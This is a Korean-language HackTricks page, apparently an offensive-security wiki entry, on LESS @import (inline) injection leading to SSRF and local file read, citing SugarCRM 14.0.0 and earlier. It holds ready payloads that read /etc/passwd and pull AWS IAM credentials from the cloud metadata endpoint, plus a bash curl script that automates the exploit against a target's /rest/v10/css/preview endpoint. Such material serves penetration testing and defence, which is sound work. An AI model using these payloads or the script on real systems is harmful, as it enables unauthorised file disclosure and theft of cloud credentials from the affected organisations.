LESS Code Injection leading to SSRF & Local File Read

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

LESS๋Š” ๋ณ€์ˆ˜, mixins, ํ•จ์ˆ˜ ๋ฐ ๊ฐ•๋ ฅํ•œ @import ์ง€์‹œ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ธ๊ธฐ ์žˆ๋Š” CSS pre-processor์ž…๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ๊ณผ์ •์—์„œ LESS ์—”์ง„์€ (inline) ์˜ต์…˜์ด ์‚ฌ์šฉ๋  ๋•Œ @import ๋ฌธ์— ์ฐธ์กฐ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ fetchํ•˜์—ฌ ํ•ด๋‹น ๋‚ด์šฉ์„ ๊ฒฐ๊ณผ CSS์— ์ž„๋ฒ ๋“œ(โ€œinlineโ€)ํ•ฉ๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‚˜์ค‘์— LESS ์ปดํŒŒ์ผ๋Ÿฌ์— ์˜ํ•ด ํŒŒ์‹ฑ๋˜๋Š” ๋ฌธ์ž์—ด์— user-controlled input์„ ์—ฐ๊ฒฐ(concatenate)ํ•  ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” inject arbitrary LESS codeํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. @import (inline)๋ฅผ ๋‚จ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์„œ๋ฒ„๋กœ ํ•˜์—ฌ๊ธˆ ๋‹ค์Œ์„ ๊ฐ€์ ธ์˜ค๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋กœ์ปฌ ํŒŒ์ผ: file:// ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด (information disclosure / Local File Inclusion).
  • ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ ๋˜๋Š” ํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์„œ๋น„์Šค์˜ ์›๊ฒฉ ๋ฆฌ์†Œ์Šค (SSRF).

์ด ๊ธฐ๋ฒ•์€ SugarCRM โ‰ค 14.0.0 (/rest/v10/css/preview endpoint) ๊ฐ™์€ ์‹ค์ œ ์ œํ’ˆ์—์„œ ๋ฐœ๊ฒฌ๋œ ๋ฐ” ์žˆ์Šต๋‹ˆ๋‹ค.

Exploitation

  1. LESS ์—”์ง„์ด ์ฒ˜๋ฆฌํ•˜๋Š” stylesheet ๋ฌธ์ž์—ด ์•ˆ์— ์ง์ ‘ ์‚ฝ์ž…๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: SugarCRM์˜ ?lm=).
  2. ํ˜„์žฌ ๋ฌธ์žฅ์„ ๋‹ซ๊ณ  ์ƒˆ๋กœ์šด ์ง€์‹œ์ž๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์žฅ ํ”ํ•œ ์›์‹œ(primitive)๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
  • ; โ€“ ์ด์ „ ์„ ์–ธ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.
  • } โ€“ ์ด์ „ ๋ธ”๋ก์„ ๋‹ซ์Šต๋‹ˆ๋‹ค(ํ•„์š”ํ•œ ๊ฒฝ์šฐ).
  1. @import (inline) '<URL>';๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค.
  2. ์„ ํƒ์ ์œผ๋กœ import ๋’ค์— marker(data: URI)๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์ปดํŒŒ์ผ๋œ CSS์—์„œ ๊ฐ€์ ธ์˜จ ๋‚ด์šฉ์„ ์ถ”์ถœํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd์˜ ๋‚ด์šฉ์ด HTTP ์‘๋‹ต์— @@END@@ ๋งˆ์ปค ๋ฐ”๋กœ ์•ž์— ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

SSRF โ€“ ํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

์ž๋™ํ™”๋œ PoC (SugarCRM ์˜ˆ์‹œ)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

์‹ค์ œ ์‚ฌ๋ก€

์ œํ’ˆ์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ์˜ํ–ฅ
SugarCRM โ‰ค 14.0.0/rest/v10/css/preview?lm=์ธ์ฆ๋˜์ง€ ์•Š์€ SSRF ๋ฐ ๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ